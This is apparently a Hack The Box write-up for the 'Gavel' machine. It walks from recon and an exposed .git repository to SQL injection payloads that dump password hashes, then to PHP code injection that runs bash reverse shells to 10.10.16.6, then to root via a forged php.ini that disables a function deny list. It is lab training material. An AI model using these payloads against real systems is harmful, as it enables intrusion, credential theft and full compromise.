Post

Gavel

Gavel

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ sudo nmap -p- --min-rate 10000 10.129.139.113
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 00:54 PST
Nmap scan report for 10.129.139.113
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 9.23 seconds
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ sudo nmap -p22,80 -sCV 10.129.139.113        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 00:59 PST
Nmap scan report for 10.129.139.113
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.53 seconds

We have 2 ports open, 22 for SSH, and 80 for web.

Let’s add gavel.htb to our /etc/hosts file.

Port 80 - Web

The website is about an auction house:

alt text

The webserver is Apache, and the backend is php as confirmed by the login/registration pages: http://gavel.htb/login.php

We can register an account. After logging in we have two additional functionalities inventory, and bidding:

alt text

Directory Fuzzing

We will fuzz for directory and subdomain on the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ feroxbuster -u http://gavel.htb --dont-extract-links -H "gavel_session: nf3pgmkrho120dr0hkhaph6ilq" -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt -n
                                                                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://gavel.htb/
 🚩  In-Scope Url          │ gavel.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/combined_directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🤯  Header                │ gavel_session: nf3pgmkrho120dr0hkhaph6ilq
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      309c http://gavel.htb/includes => http://gavel.htb/includes/
200      GET      222l     1033w    13952c http://gavel.htb/
301      GET        9l       28w      307c http://gavel.htb/assets => http://gavel.htb/assets/
301      GET        9l       28w      306c http://gavel.htb/rules => http://gavel.htb/rules/
301      GET        9l       28w      305c http://gavel.htb/.git => http://gavel.htb/.git/
200      GET        1l        2w       23c http://gavel.htb/.git/HEAD
200      GET        8l       20w      136c http://gavel.htb/.git/config
200      GET       17l       71w     1128c http://gavel.htb/.git/logs/
302      GET        0l        0w        0c http://gavel.htb/admin.php => index.php
200      GET      355l     1786w   292768c http://gavel.htb/.git/index
200      GET      222l     1030w    13954c http://gavel.htb/index.php

We see .git which is unusual and a huge security flaw. We will use git-dumper https://github.com/arthaud/git-dumper

Set it up with pip3, and dump the git:

1
2
3
4
5
6
7
8
9
10
┌──(venv)(kali㉿vm-kali)-[~/htb/gavel/git-dumper]
└─$ ./git_dumper.py http://gavel.htb/.git ../.git  
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
[-] Fetching http://gavel.htb/.git/HEAD [200]
<SNIPPED>

Code Review

Let’s perform code review on the Inventory and Bidding functionality.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(venv)(kali㉿vm-kali)-[~/htb/gavel/.git]
└─$ ls -la
total 96
drwxrwxr-x 6 kali kali  4096 Dec  3 01:46 .
drwxrwxr-x 4 kali kali  4096 Dec  3 01:45 ..
-rwxrwxr-x 1 kali kali  8820 Dec  3 01:46 admin.php
drwxrwxr-x 6 kali kali  4096 Dec  3 01:46 assets
-rwxrwxr-x 1 kali kali  8441 Dec  3 01:46 bidding.php
drwxrwxr-x 7 kali kali  4096 Dec  3 01:46 .git
drwxrwxr-x 2 kali kali  4096 Dec  3 01:46 includes
-rwxrwxr-x 1 kali kali 14520 Dec  3 01:46 index.php
-rwxrwxr-x 1 kali kali  8384 Dec  3 01:46 inventory.php
-rwxrwxr-x 1 kali kali  6408 Dec  3 01:46 login.php
-rwxrwxr-x 1 kali kali   161 Dec  3 01:46 logout.php
-rwxrwxr-x 1 kali kali  7058 Dec  3 01:46 register.php
drwxrwxr-x 2 kali kali  4096 Dec  3 01:46 rules

inventory.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
<SNIPPED>

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
<SNIPPED>

The app inserts user-controlled input ($_GET['sort'] / $_POST['sort']) directly into a SQL query as a column name, wrapped in backticks.

Because prepared statements only protect parameter values (? placeholders), not dynamic parts of the query structure like column names. Interpolating user input into the query string, even with backticks and

1
"`" . str_replace("`", "", $sortItem) . "`"

is unsafe.

includes/db.php tells us that MySQL is the DBMS on backend.

SQL Injection

We will perform a GET Request on inventory.php endpoint.

A query like:

1
user_id=2`+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y%3b%2523&sort=\%3f-- -%00

will result in dumping all the tables.

Perform a GET Request:

1
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+table_name+AS+`%27x`+from+information_schema.tables)y%3b%2523&sort=\%3f--%20-%00

The table of interest is users.

Then we will dump the users table:

1
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?--+-%00
1
auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS,Marshal:$2y$10$jv8hdOn0n4kpyxPkGjuBze4z938eVXDGAmLbrGcM8GT4/sKoGIMaq

Crack with Hashcat

We crack the auctioneer password:

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1

Login as Auctioneer

We have access to admin panel now:

alt text

We will go back to the dumped .git and understand what rules the admin panel expects.

From rules/default.yaml:

1
2
3
4
5
6
7
8
9
rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

PHP Code Injection via YAML Rules

We will add a malicious rule that will land us a reverse shell:

1
system('bash -c "bash -i >& /dev/tcp/10.10.16.6/4444 0>&1"'); return true;

After editing the rule, place a bid on the same item (you can place bids as admin as well) and we will have a reverse shell.

Shell as www-data

1
2
3
4
5
6
7
8
9
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ rlwrap ncat -lvnp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.139.113:58288.
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$

rlwrap with ncat provides a stable shell.

Under /home we discover the user auctioneer, we can try for a possibility of credential reuse and try to su auctioneer.

In the meanwhile be sure to TTY Upgrade your shell as well:

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
su auctioneer
Password: midnight1
whoami
auctioneer
python3 -c "import pty; pty.spawn('/bin/bash');"
auctioneer@gavel:/var/www/html/gavel/includes$ 
zsh: suspended  rlwrap ncat -lvnp 4444
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ stty raw -echo; fg                                 
[1]  + continued  rlwrap ncat -lvnp 4444
auctioneer@gavel:/var/www/html/gavel/includes$ 

We can’t sudo -l, and nothing special in ss -tulnp either.

Our user auctioneer is part of a group:

1
2
3
auctioneer@gavel:~$ id
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

Let’s search for what files the group own:

1
2
3
4
find / -group gavel-seller 2>/dev/null

/run/gaveld.sock
/usr/local/bin/gavel-util

Gavel-util

Let’s understand what the binary exactly is:

1
2
3
4
5
6
7
8
9
10
11
file gavel-util
gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped

auctioneer@gavel:/usr/local/bin$ gavel-util
gavel-util
Usage: gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

This looks like a potential YAML Injection attack surface?

Also under /opt there’s something:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
auctioneer@gavel:/usr/local/bin$ ls -la /opt/
ls -la /opt/
total 12
drwxr-xr-x  3 root root 4096 Nov  5 12:46 .
drwxr-xr-x 19 root root 4096 Nov  5 12:46 ..
drwxr-xr-x  4 root root 4096 Nov  5 12:46 gavel
auctioneer@gavel:/usr/local/bin$ ls -la /opt/gavel/
ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root  4096 Nov  5 12:46 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission

sample.yaml:

1
2
3
4
5
6
7
8
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

Seems like there’s also a php.ini:

1
2
3
4
5
6
auctioneer@gavel:/usr/local/bin$ ls -la /opt/gavel/.config/php
ls -la /opt/gavel/.config/php
total 12
drwxr-xr-x 2 root root 4096 Nov  5 12:46 .
drwxr-xr-x 3 root root 4096 Nov  5 12:46 ..
-rw-r--r-- 1 root root  502 Oct  3 19:35 php.ini

The file:

1
2
3
4
5
6
7
8
9
10
11
12
13
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

The php.ini stops any dangerous functions from running which will prevent us from escalating privileges. Instead we will create our own php.ini somewhere else and a yaml file to get root access.

Privilege Escalation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat > php.ini << 'EOF'
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
;open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
;disable_functions=exec,shell_exec,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
EOF

Then:

1
2
3
4
5
6
7
8
cat > exp.yaml << 'EOF'
name: "Exploit"
description: "..."
image: "..."
price: 100
rule_msg: "..."
rule: "system('bash -c \"bash -i >& /dev/tcp/10.10.16.6/5555 0>&1\"'); return false;"
EOF

Lastly, export the rule:

1
RULE_PATH=$PWD/php.ini /usr/local/bin/gavel-util submit exp.yaml

This post is licensed under CC BY 4.0 by the author.